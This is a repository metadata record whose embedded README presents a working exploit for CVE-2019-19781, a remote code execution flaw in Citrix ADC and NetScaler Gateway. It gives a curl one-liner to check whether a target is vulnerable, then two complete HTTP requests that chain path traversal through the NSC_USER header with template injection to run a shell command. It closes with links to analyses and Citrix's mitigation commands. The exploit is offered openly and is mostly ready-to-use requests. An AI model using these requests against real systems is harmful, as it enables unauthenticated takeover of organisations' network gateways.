{"id":18265876,"url":"https://github.com/mpgn/cve-2019-19781","last_synced_at":"2026-03-06T08:03:15.548Z","repository":{"id":54859262,"uuid":"233209505","full_name":"mpgn/CVE-2019-19781","owner":"mpgn","description":"CVE-2019-19781 - Remote Code Execution on Citrix ADC Netscaler exploit","archived":false,"fork":false,"pushed_at":"2021-01-24T20:18:04.000Z","size":19,"stargazers_count":155,"open_issues_count":2,"forks_count":34,"subscribers_count":4,"default_branch":"master","last_synced_at":"2025-04-04T21:40:18.611Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mpgn.png","metadata":{"files":{"readme":"readme.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-01-11T09:49:17.000Z","updated_at":"2025-02-27T07:39:38.000Z","dependencies_parsed_at":"2022-08-14T05:00:26.354Z","dependency_job_id":null,"html_url":"https://github.com/mpgn/CVE-2019-19781","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/mpgn/CVE-2019-19781","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-19781","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-19781/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-19781/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-19781/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mpgn","download_url":"https://codeload.github.com/mpgn/CVE-2019-19781/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-19781/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":30166877,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-03-06T07:56:45.623Z","status":"ssl_error","status_checked_at":"2026-03-06T07:55:55.621Z","response_time":250,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-05T11:20:26.424Z","updated_at":"2026-03-06T08:03:15.525Z","avatar_url":"https://github.com/mpgn.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2019-19781\n\nRemote Code Execution (RCE) in Citrix Application Delivery Controller and Citrix Gateway\n\n\u003e A vulnerability  has been identified in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.\n\n**EDIT**: Indicator of Compromise Scanner for CVE-2019-19781 from Fireeye -\u003e https://github.com/fireeye/ioc-scanner-CVE-2019-19781/\n\nProducts affected:\n\n- Citrix ADC and Citrix Gateway version 13.0 all supported builds\n- Citrix ADC and NetScaler Gateway version 12.1 all supported builds\n- Citrix ADC and NetScaler Gateway version 12.0 all supported builds\n- Citrix ADC and NetScaler Gateway version 11.1 all supported builds\n- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds\n\n![image](https://user-images.githubusercontent.com/5891788/72203303-465e8a00-346a-11ea-8e2b-1d11ca76b79d.png)\n\n### Check if vulnerable \n\n```sh\nTARGET=your_ip\ncurl -vk –path-as-is https://$TARGET/vpn/../vpns/ 2\u003e\u00261 | grep “You don’t have permission to access /vpns/” \u003e/dev/null \u0026\u0026 echo “VULNERABLE: $TARGET” || echo “MITIGATED: $TARGET”\n```\n\n### Vulnerable Perl script\n\n```\nPOST /vpn/../vpns/portal/scripts/newbm.pl\nPOST /vpn/../vpns/portal/scripts/rmbm.pl\nGET /vpn/../vpns/portal/scripts/picktheme.pl\n```\n\n### Exploit\n\nOnly two requests are needed to exploit this vulnerability without any authentication !\n\nFirst request:\n```\nPOST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1\nHost: 3.81.59.87\nNSC_USER: ../../../../netscaler/portal/templates/randomletter\nNSC_NONCE: c\nConnection: close\nContent-Length: 103\n\nurl=http://exemple.com\u0026title=[%t=template.new({'BLOCK'='print `uname -a`'})%][% t %]\u0026desc=test\u0026UI_inuse=RfWeb\n```\n\nSecond request:\n```\nGET /vpns/portal/bonclay4.xml HTTP/1.1\nHost: 3.81.59.87\nNSC_USER: ../../../../netscaler/portal/templates/randomletter\nNSC_NONCE: c\nConnection: close\n```\n\n![image](https://user-images.githubusercontent.com/5891788/72202617-eebc2080-3461-11ea-96a0-5cca68309c52.png)\n\n### Detailed analysis (english):\n\n- [Craig Young](https://twitter.com/craigtweets) =\u003e https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/ \n- [@MDSecLabs](https://twitter.com/MDSecLabs) =\u003e https://www.mdsec.co.uk/2020/01/deep-dive-in-to-citrix-adc-remote-code-execution-cve-2019-19781/ \n- [@mpgn_x64](https://twitter.com/mpgn_x64) =\u003e https://twitter.com/mpgn_x64/status/1214544993261674497 \n\n### Security advisory:\n\n- https://support.citrix.com/article/CTX267027\n\n### Patch (not a real patch)\n\n- https://support.citrix.com/article/CTX267679\n\n```\nenable ns feature responder\nadd responder action respondwith403 respondwith \"\\\"HTTP/1.1 403 Forbidden\\r\\n\\r\\n\\\"\"\nadd responder policy ctx267027 \"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\\\"/vpns/\\\") \u0026\u0026 (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\\\"/../\\\"))\" respondwith403\nbind responder global ctx267027 1 END -type REQ_OVERRIDE\nsave config \n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2019-19781","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmpgn%2Fcve-2019-19781","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2019-19781/lists"}